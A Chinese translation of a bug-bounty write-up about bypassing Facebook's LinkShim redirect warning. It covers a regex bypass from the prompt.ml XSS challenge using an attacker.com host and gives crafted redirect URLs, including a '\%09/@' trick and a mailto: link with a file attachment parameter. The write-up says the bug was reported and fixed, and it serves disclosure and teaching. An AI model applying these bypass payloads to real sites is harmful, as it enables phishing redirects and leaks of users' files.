t01de35ee9c19e26cc1

 

我之前发现了facebook某个Url的重定向和xss漏洞,并且成功绕过了LinkShim。之后fackbook修复了漏洞。6个月后的今天,我又在同一个url上的同一个参数发现了绕过LinkShim的方法,今天把他发出来和大家一起学习。

小编科普:什么是LinkShim

LinkShim是fackbook用来保护用户不被重定向到恶意网站的保护措施,当你在fackbook访问了一个恶意网站之后,它会弹出类似的窗口来提醒你注意。

t010c19bc435c7ccec4

先来说一个无关紧要但是很酷的技术点,这是我之前参加prompt.ml XSS挑战赛第四关学到的东西。

看下面的代码

 

function escape(input) {
    // make sure the script belongs to own site
    // sample script: http://prompt.ml/js/test.js
    if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
        var script = document.createElement('script');
        script.src = input;
        return script.outerHTML;
    } else {
        return 'Invalid resource.';
    }
}

 

这是第四关的JS源代码,目标是绕过正则匹配并重定向到另外的网站。最主要的问题是他用了decodeURIComponent()把input参数url解码。我们可以这样欺骗浏览器,他利用的是http auth。

 

http://prompt.ml\@attacker.com

 

这样可以绕过正则因为拥有prompt.ml,但是可以重定向到attacker.com。

当我这次看到fackbook这个url跳转漏洞时,我发现他们是那么的相似。

当你访问这个链接时:

 

https://m.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=http:// evilzone.org

 

这个会触发Link Shim并提醒用户是否跳转。显然evilzone.org是在黑名单里的。

然后我使用了\/evilzone.org来尝试绕过,因为绝大多数浏览器会把\/evilzone.org变为//evilzone.org

更多详情请看http://homakov.blogspot.com/2014/01/evolution-of-open-redirect-vulnerability.html

但是不幸的是\/也被拦截了,于是我开始fuzz。

最终某位大神告诉我这样可以绕过\%09/@site.com,它相当于//@site.com,并且不在黑名单中。

所以最终我这样绕过

 

https://m.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=\%09/@example.com

 

在测试中,我发现tel:和mailto:都可以使用,于是可以构造这样的链接。

 

https://m.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=tel:+251928475100

 

https://m.facebook.com/feed_menu/?story_fbid=808015282566492&id=100000740832129&confirm=h&continue=mailto:[email protected]?subject=APPname%20support%20issue&body=Version%20x.x%0D%0A%0D%0APlease%20make%20some%20descriptions%20here:%0D%0A%0D%0A%0D%0A&attach=C:\Documents%20and%20Settings\username\Desktop\foldername\APPname_20121123.log

 

这会发送一封包含用户敏感信息附件的电子邮件。

我再次把漏洞报给了facebook,目前该漏洞已经修复

 

本文由 Expl0r3r 翻译整理

源链接

Hacking more

...